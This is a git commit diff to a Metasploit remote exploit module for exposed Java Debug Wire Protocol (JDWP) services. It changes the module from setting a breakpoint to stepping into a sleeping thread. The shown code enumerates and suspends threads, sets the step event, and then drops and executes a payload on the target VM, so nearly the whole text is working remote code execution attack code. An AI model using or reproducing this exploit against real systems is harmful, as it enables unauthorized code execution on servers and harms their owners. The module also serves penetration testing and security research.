Modify breakpoint approach by step into

bug/bundler_fix
Julian Vilas 2014-06-12 01:23:20 +02:00
parent 73536f2ac0
commit 4f67db60ed
1 changed files with 104 additions and 56 deletions

View File

@ -49,7 +49,9 @@ class Metasploit3 < Msf::Exploit::Remote
MODKIND_THREADONLY = 2
MODKIND_CLASSMATCH = 5
MODKIND_LOCATIONONLY = 7
MODKIND_STEP = 10
EVENT_BREAKPOINT = 2
EVENT_STEP = 1
SUSPEND_EVENTTHREAD = 1
SUSPEND_ALL = 2
NOT_IMPLEMENTED = 99
@ -60,6 +62,10 @@ class Metasploit3 < Msf::Exploit::Remote
TYPE_CLASS = 1
TAG_ARRAY = 91
TAG_VOID = 86
TAG_THREAD = 116
STEP_INTO = 0
STEP_MIN = 0
THREAD_SLEEPING_STATUS = 2
def initialize
@ -322,6 +328,21 @@ class Metasploit3 < Msf::Exploit::Remote
version.downcase =~ /1[.]8[.]/
end
# Returns reference for all threads currently running on target VM
def get_all_threads
sock.put(create_packet(ALLTHREADS_SIG))
response = read_reply
num_threads = response.unpack('N').first
response.slice!(0..3)
size = @vars["objectid_size"]
num_threads.times do
t_id = unformat(size, response[0..size-1])
@threads[t_id] = nil
response.slice!(0..size-1)
end
end
# Returns reference types for all classes currently loaded by the target VM
def get_all_classes
return unless @classes.empty?
@ -416,20 +437,54 @@ class Metasploit3 < Msf::Exploit::Remote
return classname, method
end
# Resumes execution of the application after the suspend command or an event has stopped it
def resume_vm
sock.put(create_packet(RESUMEVM_SIG))
response = read_reply
# Gets the status of a given thread
def thread_status(thread_id)
sock.put(create_packet(THREADSTATUS_SIG, format(@vars["objectid_size"], thread_id)))
buf = read_reply(datastore['BREAK_TIMEOUT'])
unless buf
fail_with(Exploit::Failure::Unknown, "No network response")
end
status, suspend_status = buf.unpack('NN')
status
end
# Resumes execution of the application or thread after the suspend command or an event has stopped it
def resume_vm(thread_id = nil)
if thread_id.nil?
sock.put(create_packet(RESUMEVM_SIG))
else
sock.put(create_packet(THREADRESUME_SIG, format(@vars["objectid_size"], thread_id)))
end
response = read_reply(datastore['BREAK_TIMEOUT'])
unless response
fail_with(Exploit::Failure::Unknown, "No network response")
end
response
end
# Suspend execution of the application or thread
def suspend_vm(thread_id = nil)
if thread_id.nil?
sock.put(create_packet(SUSPENDVM_SIG))
else
sock.put(create_packet(THREADSUSPEND_SIG, format(@vars["objectid_size"], thread_id)))
end
response = read_reply
unless response
fail_with(Exploit::Failure::Unknown, "No network response")
end
response
end
# Sets an event request. When the event described by this request occurs, an event is sent from the target VM
def send_event(event_code, args)
data = [event_code].pack('C')
data << [SUSPEND_ALL].pack('C')
data << [SUSPEND_EVENTTHREAD].pack('C')
data << [args.length].pack('N')
args.each do |kind,option|
@ -473,15 +528,14 @@ class Metasploit3 < Msf::Exploit::Remote
end
# Parses a received event and compares it with the expected
def parse_event_breakpoint(buf, event_id)
r_id = buf[6..9].unpack('N')[0]
return nil unless event_id == r_id
def parse_event_breakpoint(buf, event_id, thread_id)
len = @vars["objectid_size"]
return false if buf.length < 10 + len - 1
r_id = buf[6..9].unpack('N')[0]
t_id = unformat(len,buf[10..10+len-1])
return r_id, t_id
return (event_id == r_id) && (thread_id == t_id)
end
# Clear a defined event request
@ -729,39 +783,35 @@ class Metasploit3 < Msf::Exploit::Remote
end
end
# Sets a breakpoint on frequently called method (user-defined)
def set_breakpoint
vprint_status("#{peer} - Setting breakpoint on class: #{datastore['BREAKPOINT']}")
# 1. Gets reference of the method where breakpoint is going to be setted
classname, method = str_to_fq_class(datastore['BREAKPOINT'])
break_class = get_class_by_name(classname)
unless break_class
fail_with(Failure::NotFound, "Could not access #{datastore['BREAKPOINT']}, probably is not used by the application")
# Set event for stepping into a running thread
def set_step_event
# 1. Select a thread in sleeping status
t_id = nil
@threads.each_key do |thread|
if thread_status(thread) == THREAD_SLEEPING_STATUS
t_id = thread
break
end
get_methods(break_class["reftype_id"])
m = get_method_by_name(break_class["reftype_id"], method)
unless m
fail_with(Failure::BadConfig, "Method of Break Class not found")
end
fail_with(Failure::Unknown, "Could not find a suitable thread for stepping") if t_id.nil?
# 2. Sends event request for this method
loc = [TYPE_CLASS].pack('C')
loc << format(@vars["referencetypeid_size"], break_class["reftype_id"])
loc << format(@vars["methodid_size"], m["method_id"])
loc << [0,0].pack('NN')
# 2. Suspend the thread before setting the event
suspend_vm(t_id)
data = [[MODKIND_LOCATIONONLY, loc]]
r_id = send_event(EVENT_BREAKPOINT, data)
vprint_status("#{peer} - Setting 'step into' event in thread: #{t_id}")
step_info = format(@vars["objectid_size"], t_id)
step_info << [STEP_MIN].pack('N')
step_info << [STEP_INTO].pack('N')
data = [[MODKIND_STEP, step_info]]
r_id = send_event(EVENT_STEP, data)
unless r_id
fail_with(Failure::Unknown, "Could not set the breakpoint")
fail_with(Failure::Unknown, "Could not set the event")
end
r_id
return r_id, t_id
end
# Uploads & executes the payload on the target VM
def exec_payload(thread_id)
# 0. Fingerprinting OS
@ -799,6 +849,7 @@ class Metasploit3 < Msf::Exploit::Remote
@vars = {}
@classes = []
@methods = {}
@threads = {}
@os = nil
connect
@ -807,7 +858,7 @@ class Metasploit3 < Msf::Exploit::Remote
fail_with(Failure::NotVulnerable, "JDWP Protocol not found")
end
print_status("#{peer} - Retriving the sizes of variable sized data types in the target VM...")
print_status("#{peer} - Retrieving the sizes of variable sized data types in the target VM...")
get_sizes
print_status("#{peer} - Getting the version of the target VM...")
@ -816,37 +867,34 @@ class Metasploit3 < Msf::Exploit::Remote
print_status("#{peer} - Getting all currently loaded classes by the target VM...")
get_all_classes
print_status("#{peer} - Setting a breakpoint on #{datastore['BREAKPOINT']}...")
r_id = set_breakpoint
print_status("#{peer} - Getting all running threads in the target VM...")
get_all_threads
print_status("#{peer} - Setting 'step into' event...")
r_id, t_id = set_step_event
print_status("#{peer} - Resuming VM and waiting for an event...")
resume_vm
response = resume_vm(t_id)
secs = datastore['BREAK_TIMEOUT']
ret = ""
unless parse_event_breakpoint(response, r_id, t_id)
datastore['NUM_RETRIES'].times do |i|
print_status("#{peer} - Waiting for breakpoint hit #{i} during #{secs} seconds...")
if datastore['BREAKPOINT_PORT'] && datastore['BREAKPOINT_PORT'] > 0
force_net_event
end
buf = read_reply(secs)
ret = parse_event_breakpoint(buf, r_id)
break unless ret.nil?
end
print_status("#{peer} - Received #{i+1} responses that are not a 'step into' event...")
buf = read_reply
break if parse_event_breakpoint(buf, r_id, t_id)
r_id, t_id = ret
if i == datastore['NUM_RETRIES']
fail_with(Failure::Unknown, "Event not received in #{datastore['NUM_RETRIES']} attempts")
end
end
end
vprint_status("#{peer} - Received matching event from thread #{t_id}")
print_status("#{peer} - Deleting breakpoint...")
clear_event(EVENT_BREAKPOINT, r_id)
print_status("#{peer} - Deleting step event...")
clear_event(EVENT_STEP, r_id)
print_status("#{peer} - Dropping and executing payload...")
exec_payload(t_id)
print_status("#{peer} - Resuming the target VM, just in case...")
resume_vm
disconnect
end
end